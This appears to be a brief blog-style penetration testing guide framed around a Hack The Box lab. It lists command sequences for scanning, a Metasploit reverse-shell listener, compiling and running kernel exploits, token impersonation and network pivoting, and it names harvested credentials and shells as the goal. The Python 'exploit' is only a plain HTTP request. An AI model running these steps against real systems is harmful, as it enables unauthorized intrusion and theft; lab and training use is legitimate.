How to Hack Like a Pro: A Penetration Tester’s Guide to Pwning Machines

Penetration testing is an essential skill in cybersecurity, and mastering it requires hands-on practice, collaboration, and persistence. In this article, we’ll explore key techniques, tools, and commands used by professional penetration testers to compromise machines, inspired by real-world scenarios like pwning the TombWatcher machine on Hack The Box.

You Should Know:

1. Reconnaissance & Enumeration

Before attacking, gather as much information as possible:

• Nmap Scan (Network Discovery):

  nmap -sV -sC -p- -T4 <target_IP> -oN scan_results.txt
  

• Gobuster (Directory Bruteforcing):

  gobuster dir -u http://<target_IP> -w /usr/share/wordlists/dirb/common.txt -o directories.txt
  

• Nikto (Web Vulnerability Scanner):

  nikto -h http://<target_IP> -output nikto_scan.html
  

2. Exploitation

Once vulnerabilities are identified, exploit them:

• Metasploit Framework:

  msfconsole
  use exploit/multi/handler
  set payload windows/x64/meterpreter/reverse_tcp
  set LHOST <your_IP>
  set LPORT 4444
  exploit
  

• Manual Exploitation with Python:

  import socket 
  target = "<target_IP>" 
  port = 80 
  payload = b"GET /vulnerable_endpoint HTTP/1.1\r\nHost: " + target.encode() + b"\r\n\r\n" 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((target, port)) 
  s.send(payload) 
  print(s.recv(4096)) 
  s.close()
  

3. Privilege Escalation

Gain higher-level access:

• Linux (Kernel Exploits):

  searchsploit linux kernel <version>
  gcc exploit.c -o exploit
  chmod +x exploit
  ./exploit
  

• Windows (Token Impersonation):

  whoami /priv
  incognito.exe list_tokens -u
  

4. Post-Exploitation & Pivoting

Maintain access and move laterally:

• Meterpreter (Post Modules):

  run post/multi/manage/autoroute
  background
  use auxiliary/server/socks_proxy
  set SRVPORT 9050
  exploit
  

• Proxychains (Network Pivoting):

  proxychains nmap -sT -Pn <internal_IP>
  

What Undercode Say:

Penetration testing is not just about running tools—it’s about understanding systems, thinking creatively, and collaborating with peers. Whether you’re exploiting TombWatcher on Hack The Box or simulating ransomware recovery, continuous learning is key.

Expected Output:

• A compromised machine with root/admin access.
• Extracted credentials, shells, or sensitive data.
• A detailed report with findings and remediation steps.

Prediction:

As cyber threats evolve, penetration testers will increasingly rely on AI-driven tools for vulnerability discovery, but manual exploitation skills will remain critical for advanced attacks.
